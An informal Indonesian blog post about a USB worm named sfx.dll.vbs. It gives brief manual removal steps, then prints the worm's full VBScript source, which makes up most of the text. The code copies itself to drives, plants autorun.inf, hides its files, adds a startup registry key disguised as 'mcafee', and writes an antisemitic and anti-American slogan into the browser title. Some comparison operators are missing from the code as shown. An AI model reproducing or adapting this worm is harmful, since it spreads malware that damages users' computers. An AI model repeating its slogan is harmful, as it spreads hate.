Virus ini mungkin menggagu banget, setiap mecolokan flashdisk ke komputer muncul lagi-muncul lagi tuh virus….. cape deh… virus ini mengcopykan dirinya…. disetiap drive komputer misal drive C: , drive D ….dll…. dan flashdisk pun bisa jadi masuk. virus ini mengcopykan dirinya ada dua file yaitu file sfx.dll.vbs (4 Kb) dan autorun.inf (4 kb). kita bisa lihat virus ini dengan mengaktifkan Folder Options di Windows Explorer klik Tolls—>Folder Options –> View –>Hidden Files and Folders –> Show Hidden Files and Folders–>Hide Extensions For Known File Types…………

setelah itu dilakukan maka kita bisa lihat di drive C: atau drive D: file virus akan tampak sfx.dll.vbs dan autorun.inf. klo kita delete file tersebut dia tidak akan mati karna dia akan mengcopykan dirinya kambali. maka dari itu kita melakukan dengan cara save mode kamputer anda lalu masuk ke administrator. untuk mempercepat pencarian kita

lakukan dengan Search file virus tersebut ke semua Drive komputer agar semua dapat. setelah file tsb dapat semua blok semua file tsb delete dengan menekan tombol Shift + Delete agar mati permanen…..

selamat mencoba….

mohon maaf apabila gaya bahaya yang saya gunakan tidak formal atau sulit untuk dicerna..

Virus ini dibuat menggunakan bahasa pemprograman Visual Basic :

Sintak virus ini:

on error resume next

Rem 121206, do u still remember dis day us_3?

Dim src, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd

atr = “[autorun]”&vbcrlf&”shellexecute=wscript.exe sfx.dll.vbs”

Set fs = CreateObject(”Scripting.FileSystemObject”)

Set mf = fs.getfile(Wscript.ScriptFullname)

Dim text, size

size = mf.size

check = mf.drive.drivetype

Set text = mf.openastextstream(1, -2)

Do While Not text.atendofstream

src=src&text.readline

src = src & vbCrLf

Loop

Do

Set winpath = fs.getspecialfolder(0)

Set tf = fs.getfile(winpath & “\sfx.dll.vbs”)

tf.Attributes = 32

Set tf = fs.createtextfile(winpath & “\sfx.dll.vbs”, 2, True)

tf.write src

tf.Close

Set tf = fs.getfile(winpath & “\sfx.dll.vbs”)

tf.Attributes = 39

For Each flashdrive In fs.drives

If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path “A:” Then

Set tf = fs.getfile(flashdrive.Path & “\sfx.dll.vbs”)

tf.Attributes = 32

Set tf = fs.createtextfile(flashdrive.Path & “\sfx.dll.vbs”, 2, True)

tf.write src

tf.Close

Set tf = fs.getfile(flashdrive.Path & “\sfx.dll.vbs”)

tf.Attributes = 39

Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)

tf.Attributes = 32

Set tf = fs.createtextfile(flashdrive.Path & “\autorun.inf”, 2, True)

tf.write atr

tf.Close

Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)

tf.Attributes = 39

End If

Next

Set rg = CreateObject(”WScript.Shell”)

rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mcafee”,winpath & “\sfx.dll.vbs”

rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”, “Bantai Yahudi!!!! Hancurkan Amerika!!! [Bantai Axe gank dan antek2nya!!! SFX harus menang!!!!]”

rg.regwrite “HKCR\vbsfile\DefaultIcon”, “shell32.dll,2″

If check 1 Then Wscript.sleep 200000

Loop While check 1

Set sd = CreateObject(”Wscript.shell”)

sd.run winpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname

……………..
mungkin si pembuat buat virus ini sedang berusaha menyampaikan pesan tetapi yang dia lakukan dengan cara yang salah membuat orang lain menjadi resah gara-gara virus ini.

….Trima kasih tetap semangat……